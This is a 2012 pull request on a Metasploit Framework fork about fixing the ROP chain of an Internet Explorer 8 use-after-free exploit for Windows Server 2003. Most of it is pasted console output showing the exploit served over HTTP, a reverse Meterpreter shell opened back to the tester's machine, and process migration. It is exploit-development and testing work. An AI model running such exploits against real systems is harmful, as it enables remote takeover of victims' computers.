FireFart/metasploit-framework — pull request #1 by jvazquez-r7 (2012-12-30 12:15:45+00:00)
Title: fixed rop chain for w2003

I think the msvcrt is a better option ofr windows 2003, I've fixed the to used this rop chain, and searched the gadgets for stackpivoting, please, could you test if works also for you? If you agree with the msvcrt chain, just land it on your branch and the pull request will be automatically updated :)

[*] Started reverse handler on 0.0.0.0:4444
[*] Using URL: http://0.0.0.0:8080/Bm9L2zO
[*] Local IP: http://192.168.1.128:8080/Bm9L2zO
[*] Server started.
msf exploit(ie_cdwnbindinfo_uaf) > [*] 192.168.1.136 ie_cdwnbindinfo_uaf - Requesting: /Bm9L2zO
[*] 192.168.1.136 ie_cdwnbindinfo_uaf - Target selected as: IE 8 on Windows Server 2003
[*] 192.168.1.136 ie_cdwnbindinfo_uaf - Using msvcrt ROP
[*] 192.168.1.136 ie_cdwnbindinfo_uaf - Sending HTML...
[*] Sending stage (752128 bytes) to 192.168.1.136
[*] Meterpreter session 1 opened (192.168.1.128:4444 -> 192.168.1.136:1067) at 2012-12-30 13:09:24 +0100
[*] Session ID 1 (192.168.1.128:4444 -> 192.168.1.136:1067) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (732)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 2464
[+] Successfully migrated to process